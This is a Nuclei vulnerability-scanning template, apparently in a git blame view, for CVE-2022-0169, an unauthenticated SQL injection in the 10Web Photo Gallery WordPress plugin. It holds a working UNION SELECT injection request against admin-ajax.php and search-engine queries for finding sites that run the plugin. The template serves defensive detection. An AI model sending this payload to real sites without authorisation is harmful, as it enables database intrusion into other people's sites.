nuclei-templates/http/cves/2022/CVE-2022-0169.yaml

53 lines
2.2 KiB
YAML
Raw Normal View History

2023-08-02 08:39:49 +00:00
id: CVE-2022-0169
info:
name: Photo Gallery by 10Web < 1.6.0 - SQL Injection
author: ritikchaddha,princechaddha
severity: critical
description: |
The Photo Gallery by 10Web WordPress plugin before 1.6.0 does not validate and escape the bwg_tag_id_bwg_thumbnails_0 parameter before using it in a SQL statement via the bwg_frontend_data AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL injection
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
2023-09-06 11:59:08 +00:00
remediation: This is resolved in release 1.6.0.
2023-08-02 08:39:49 +00:00
reference:
- https://wpscan.com/vulnerability/0b4d870f-eab8-4544-91f8-9c5f0538709c
- https://wordpress.org/plugins/photo-gallery/advanced/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0169
2023-08-31 11:46:18 +00:00
- https://plugins.trac.wordpress.org/changeset/2672822/photo-gallery#file9
2023-08-02 08:39:49 +00:00
classification:
2023-08-31 11:46:18 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2023-08-02 08:39:49 +00:00
cve-id: CVE-2022-0169
2023-08-31 11:46:18 +00:00
cwe-id: CWE-89
epss-score: 0.01246
epss-percentile: 0.85214
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:10web:photo_gallery:*:*:*:*:*:wordpress:*:*
2023-08-02 08:39:49 +00:00
metadata:
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2023-08-31 11:46:18 +00:00
vendor: 10web
product: photo_gallery
2023-09-06 11:59:08 +00:00
framework: wordpress
2024-05-31 19:23:20 +00:00
shodan-query: http.html:/wp-content/plugins/photo-gallery
fofa-query: body=/wp-content/plugins/photo-gallery
publicwww-query: "/wp-content/plugins/photo-gallery"
2024-01-14 09:21:50 +00:00
tags: cve,cve2022,wpscan,wp,wp-plugin,wordpress,sqli,photo-gallery,10web
2023-08-02 08:39:49 +00:00
variables:
num: "999999999"
http:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1&bwg_tag_id_bwg_thumbnails_0[]=)%22%20union%20select%201,2,3,4,5,6,7,concat(md5({{num}}),%200x2c,%208),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20--%20g"
2023-08-02 08:42:07 +00:00
2023-08-02 08:39:49 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5(num)}}'
- type: status
status:
- 200
# digest: 4a0a00473045022064759738b702e3e2b8635c38219338faa75f1319271621dd38a9ae88af4c9782022100d6d0a9a1e9303895054138f4e3021dc5bd8b5ba30a52f3528fb0fc3cc46b2e67:922c64590222798bb761d5b6d8e72950